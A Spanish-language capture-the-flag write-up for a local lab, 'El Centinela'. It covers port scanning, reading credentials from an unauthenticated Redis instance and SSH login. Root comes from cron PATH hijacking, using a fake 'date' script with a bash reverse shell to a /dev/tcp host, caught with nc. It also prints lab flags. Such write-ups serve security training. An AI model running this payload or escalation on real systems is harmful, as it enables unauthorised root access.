

Laboratorio El Centinela

Se procede con el escaneo:

```
nmap -O -sV -sC -p- 172.17.0.2 -oN Scan_Nmap_centinela.txt
```

```
(kali@kali)-[~/Downloads/el_centinela]
$ nmap -O -sV -sC -p- 172.17.0.2 -oN Scan_Nmap_centinela.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 23:23 -0400
Nmap scan report for 172.17.0.2
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 16:15:00:a5:0c:bc:52:08:3a:14:51:5a:f6:35:00:4f (ECDSA)
|_ 256 7b:d5:a8:b4:03:e9:bc:b2:29:5b:d8:f5:65:af:d5:24 (ED25519)
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_ http-title: Sentinel Network Monitor
|_ http-server-header: Apache/2.4.52 (Ubuntu)
6379/tcp  open  redis    Redis key-value store 6.0.16
MAC Address: 5A:92:87:6A:C9:65 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/19%OT=22%CT=1%CU=35939%PV=Y%DS=1%DC=D%G=Y%M=5A9287%T
OS:M=6A0D292A%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10C%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=107%GCD=1%IS
OS:R=107%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=FC%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS=21)
OS:SEQ(SP=FF%GCD=1%ISR=101%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW9%O2=M5B4S
OS:T11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M5B4NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

<http://172.17.0.2:80>

Usuario: operator



```
OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB GTFOBins Online - Reverse Sh

1 <!DOCTYPE html>
2 <html lang="es">
3 <head>
4   <meta charset="UTF-8">
5   <title>Sentinel Network Monitor</title>
6   <style>
7     body { background-color: #050505; color: #fff; font-family: 'Segoe UI', tahoma, geneva, verdana, sans-serif; text-align: center; padding: 50px; }
8     h1 { color: #00ff41; font-size: 3em; text-shadow: 0 0 10px #00ff41; }
9     .card { background: #111; padding: 40px; border-radius: 10px; border: 1px solid #333; display: inline-block; margin-top: 50px; }
10    p { color: #aaa; font-size: 1.2em; }
11    .alert { color: #ff4444; font-weight: bold; }
12  </style>
13 </head>
14 <body>
15   <h1>SENTINEL NETWORK</h1>
16   <div class="card">
17     <p>Monitoreo de Infraestructura en Tiempo Real</p>
18     <p class="alert">[STDOUT] Servicio Redis detectado en 0.0.0.0:6379</p>
19     <p>Usuario de operación: <b>operator</b></p>
20   </div>
21 </body>
22 </html>
```

```
feroxbuster -u http://172.17.0.2:80 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x sh,js,php,env,bak,backup,old,
5 --scan-dir-listings --extract-links -o feroxbuster_scan.txt

Lab: El Centinela.pdf
FERROXIDE
by Ben "epi" Risher ver: 2.13.1

Target Url      http://172.17.0.2/
In-Scope Url    172.17.0.2
Threads         5
Wordlist         /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
Status Codes    All Status Codes!
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /etc/feroxbuster/ferox-config.toml
Extract Links   true
Output File     feroxbuster_scan.txt
Scan Dir Listings true
Extensions     [sh, js, php, env, bak, backup, old, html, gz, sql, txt, log]
HTTP methods    [GET]
Recursion Depth 5

Press [ENTER] to use the Scan Management Menu™

403 GET 91 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 91 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 22l 99w 890c http://172.17.0.2/
200 GET 22l 99w 890c http://172.17.0.2/index.html
[#####] - 56s 1554813/1554813 0s found:2 errors:0
[#####] - 56s 1554813/1554813 27666/s http://172.17.0.2/

Página Sentinel Network Monitor http://172.17.0.2/ Hallazgo localizado
Página Sentinel Network Monitor
La página web expone el nombre de un usuario por lo que se documenta para realizar pruebas.
```

El servicio Redis es una base de datos en memoria que almacena datos en pares de clave-valor, esto lo utiliza en servidores para acelerar el rendimiento de las aplicaciones web y gestionar datos en tiempo real.

Para conectarnos será realizarlo con la siguiente línea `redis-cli -h 172.17.0.2` ya que se detecta que no tiene contraseña.

```
(kali㉿kali)-[~/Downloads/el_centinela]
$ redis-cli -h 172.17.0.2
172.17.0.2:6379> ifo
(error) ERR unknown command `ifo`, with args beginning with:
172.17.0.2:6379> info
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:e91d7986ac6d5bb6
redis_mode:standalone
os:Linux 6.19.14+kali-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:11.4.0
process_id:43
run_id:969d0917533b8e91d73e0c1fa1514e8c4ba9ab5c
tcp_port:6379
uptime_in_seconds:18461
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:880882
executable:/usr/bin/redis-server
config_file:
io_threads_active:0
```

Se listan keys guardadas en el servicio identificando 2.

```
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
172.17.0.2:6379> KEYS *
```

- 1) "internal_auth"
- 2) "operator_notes"

```
172.17.0.2:6379>
```

```
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
172.17.0.2:6379> KEYS *
```

- 1) "internal_auth"
- 2) "operator_notes"

```
172.17.0.2:6379> GET operator_notes
"Busca en el PATH, no en la DB"
172.17.0.2:6379> GET operator_notes
"Busca en el PATH, no en la DB"
172.17.0.2:6379> GET internal_auth
"operator:operator2026!"
172.17.0.2:6379>
```

Acceso al servicio SSH

```
(kali@kali)-[~/Downloads/el_centinela]
$ ssh operator@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:K4WXhBtekCcamSH94A/WJJj7SCbus6RQxBY/dJB82NI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
operator@172.17.0.2's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.19.14+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

Se localiza dentro del directorio la flag del user.

```
operator@52f435fa5634:~$
operator@52f435fa5634:~$ ls
bin  user.txt
operator@52f435fa5634:~$ cat user.txt
CronLabs{p4th_p01s0n1ng_f0r_th3_w1n}
operator@52f435fa5634:~$
```

Se procede escalar privilegios para esto se realiza una búsqueda de tareas programadas, identificando una que realiza cada minuto.

```
operator@52f435fa5634:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environmen
t
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron
.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron
.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron
.monthly )
#
* * * * * root PATH=/home/operator/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin /usr/local
/bin/health_check.sh
operator@52f435fa5634:~$
```

La tarea programada que se encontró buscará varios directorios entre ellos se encuentra una ruta en particular dentro del directorio /home/operator/bin esto da la apertura de realizar una técnica llamada Path Hijacking.

Se procede a visualizar el script que guarda información en forma de logs.

```
operator@52f435fa5634:~$ cat /usr/local/bin/health_check.sh
#!/bin/bash
# Script de monitoreo del sistema
date >> /var/log/health.log
uptime >> /var/log/health.log
operator@52f435fa5634:~$
```

realizar un Path Hijacking

Al visualizar el script guarda de fecha y cuando ha estado

En esta parte se está sobrescribiendo la variable de entorno PATH para este cron job, en este path se encuentra la ruta /home/operator/bin el cual se puede explotar

```
operator@52f435fa5634:~$ grep health_check /etc/crontab
* * * * * root PATH=/home/operator/bin:/usr/local/sbin:/usr/local/bin:/s
bin:/bin /usr/local/bin/health_check.sh
operator@52f435fa5634:~$
```

Se puede explotar ingresando un archivo a esa ruta con permisos de ejecución.

El cron ejecuta health_check.sh como root

health_check.sh llama a date.

El sistema busca date en /home/operator/bin/ primero

Si existe y tiene permisos de ejecución, este lo ejecuta como root.

El script health_check.sh tiene #!/bin/bash al inicio esto quiere decir que se puede usar bash como intérprete.

Vamos al directorio:

```
cd /home/operator/bin
```

Creamos el script malicioso llamado "date" sería el payload

```
operator@c4515b593c5a:~/bin$ echo '#!/bin/bash' > date
operator@c4515b593c5a:~/bin$ echo 'bash -i >& /dev/tcp/172.17.0.1/4
444 0>81' >> date
```

Darle permisos de ejecución

```
chmod +x date
```

En otra sesión ejecutamos nc -lvnp 4444 este estará en modo listening con el reverse shell para que se conecte a nuestra máquina anfitrión.

```
operator@c4515b593c5a:~/bin$ ^C
```

```
(kali㉿kali)-[~/Downloads/el_centinela]
```

```
$ nc -lvnp 4444
```

```
listening on [any] 4444 ...
```

```
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 45158
```

```
bash: cannot set terminal process group (312): Inappropriate ioctl  
for device
```

```
bash: no job control in this shell
```

```
root@c4515b593c5a:~# ^[[A^[[A^[[A^[[A
```

(Nota: Si el archivo .data ya existe, puedes sobrescribirlo o renombrarlo primero.)

```
root@c4515b593c5a:~# cd /root/
```

```
cd /root/
```

```
bash: cd: /root/: No such file or directory
```

```
root@c4515b593c5a:~# cd /root
```

```
cd /root
```

```
root@c4515b593c5a:~# ls
```

```
ls
```

```
flag.txt
```

```
root@c4515b593c5a:~# cat flag.txt
```

```
cat flag.txt
```

```
CronLabs{cr0n_p4th_m4st3r_2026}
```

(Nota: Si el archivo .data ya existe, puedes sobrescribirlo o renombrarlo primero.)

```
root@c4515b593c5a:~#
```

Wargame - Labs

LABORATORIO: El Centinela

DIFICULTAD: medio [★★★★★★]

PUNTUACIÓN: 3 XP

[*] Construyendo entorno local ...

Laboratorio: El Centinela

Dificultad: ★★★★★★

[>] OBJETIVO: 172.17.0.2

[?] Introduce la flag de USUARIO: CronLabs{cr0n_p4th_m4st3r_2026}

[X] Incorrecto. Intentos restantes: 4

[?] Introduce la flag de USUARIO: CronLabs{cr0n_p4th_m4st3r_2026}

[X] Incorrecto. Intentos restantes: 3

[?] Introduce la flag de USUARIO: CronLabs{p4th_p01s0n1ng_f0r_th3_w1n}

[V] ¡Correcto! Flag USUARIO validada.

[?] Introduce la flag de ROOT: CronLabs{cr0n_p4th_m4st3r_2026}

[V] ¡Correcto! Flag ROOT validada.

¡FELICIDADES! HAS COMPLETADO EL LABORATORIO El Centinela

Tiempo total: 0h 54m 28s

XP Obtenida: 3 Puntos

Presiona Enter para cerrar el laboratorio ...